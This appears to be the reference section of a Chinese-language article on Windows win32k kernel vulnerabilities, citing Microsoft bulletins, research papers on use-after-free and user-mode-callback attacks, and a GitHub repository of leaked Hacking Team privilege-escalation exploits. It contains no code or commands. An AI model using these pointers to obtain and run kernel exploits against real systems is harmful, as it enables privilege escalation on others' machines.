7. 参考与进一步阅读


  1. Microsoft, "Microsoft Security Bulletin MS15-061," 9 June 2015. [Online]. Available: https://technet.microsoft.com/en-us/library/security/ms15-061.aspx.

  2. U. Yavo, "Class Dismissed: 4 Use-After-Free Vulnerabilities in Windows," 14 July 2015. [Online]. Available: http://breakingmalware.com/vulnerabilities/class-dismissed-4-use-after-free-vulnerabilities-in-windows/.

  3. U. Yavo, "Class Dismissed: 4 Use-After-Free Vulnerabilities in Windows," 14 July 2015. [Online]. Available: http://breakingmalware.com/vulnerabilities/class-dismissed-4-use-after-free-vulnerabilities-in-windows/.

  4. T. Mandt, "Kernel Attacks through User-Mode Callbacks," 2011. [Online]. Available: https://media.blackhat.com/bh-us-11/Mandt/BH\_US\_11\_Mandt\_win32k\_WP.pdf.

  5. U. Yavo, "Class Dismissed: 4 Use-After-Free Vulnerabilities in Windows," 14 July 2015. [Online]. Available: http://breakingmalware.com/vulnerabilities/class-dismissed-4-use-after-free-vulnerabilities-in-windows/.

  6. U. Yavo, "Class Dismissed: 4 Use-After-Free Vulnerabilities in Windows," 14 July 2015. [Online]. Available: http://breakingmalware.com/vulnerabilities/class-dismissed-4-use-after-free-vulnerabilities-in-windows/.

  7. T. Mandt, "Kernel Attacks through User-Mode Callbacks," 2011. [Online]. Available: https://media.blackhat.com/bh-us-11/Mandt/BH\_US\_11\_Mandt\_win32k\_WP.pdf.

  8. A. Adams, "Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE-2015-0057) bug on both 32-bit and 64-bit," 8 July 2015. [Online]. Available: https://www.nccgroup.trust/globalassets/newsroom/uk/blog/documents/2015/07/exploiting-cve-2015.pdf.

  9. Microsoft, "About Window Classes," [Online]. Available: https://msdn.microsoft.com/en-us/library/windows/desktop/ms633574(v=vs.85).aspx#system.

  10. Microsoft, "About Atom Tables," [Online]. Available: https://msdn.microsoft.com/en-us/library/windows/desktop/ms649053(v=vs.85).aspx.

  11. Microsoft, "CreateWindowEx function," [Online]. Available: https://msdn.microsoft.com/en-us/library/windows/desktop/ms632680(v=vs.85).aspx.

  12. T. Mandt, "Kernel Attacks through User-Mode Callbacks," 2011. [Online]. Available: https://media.blackhat.com/bh-us-11/Mandt/BH\_US\_11\_Mandt\_win32k\_WP.pdf.

  13. T. Mandt, "Kernel Attacks through User-Mode Callbacks," 2011. [Online]. Available: https://media.blackhat.com/bh-us-11/Mandt/BH\_US\_11\_Mandt\_win32k\_WP.pdf.

  14. T. Mandt, "Kernel Attacks through User-Mode Callbacks," 2011. [Online]. Available: https://media.blackhat.com/bh-us-11/Mandt/BH\_US\_11\_Mandt\_win32k\_WP.pdf.

  15. J. Tang, "Analysis of CVE-2015-2360 - Duqu 2.0 Zero Day Vulnerability," Trend Micro, 17 June 2015. [Online]. Available: http://blog.trendmicro.com/trendlabs-security-intelligence/analysis-of-cve-2015-2360-duqu-2-0-zero-day-vulnerability/.

  16. A. Adams, "Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE-2015-0057) bug on both 32-bit and 64-bit," 8 July 2015. [Online]. Available: https://www.nccgroup.trust/globalassets/newsroom/uk/blog/documents/2015/07/exploiting-cve-2015.pdf.

  17. T. Mandt, "Kernel Attacks through User-Mode Callbacks," 2011. [Online]. Available: https://media.blackhat.com/bh-us-11/Mandt/BH\_US\_11\_Mandt\_win32k\_WP.pdf.

  18. T. Mandt, "Kernel Attacks through User-Mode Callbacks," 2011. [Online]. Available: https://media.blackhat.com/bh-us-11/Mandt/BH\_US\_11\_Mandt\_win32k\_WP.pdf.

  19. A. Adams, "Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE-2015-0057) bug on both 32-bit and 64-bit," 8 July 2015. [Online]. Available: https://www.nccgroup.trust/globalassets/newsroom/uk/blog/documents/2015/07/exploiting-cve-2015.pdf.

  20. Nils, "MWR Labs Pwn2Own 2013 Write-up - Kernel Exploit," 6 September 2013. [Online]. Available: https://labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/.

  21. Hacking Team, "hacking-team-windows-kernel-lpe," [Online]. Available: https://github.com/vlad902/hacking-team-windows-kernel-lpe.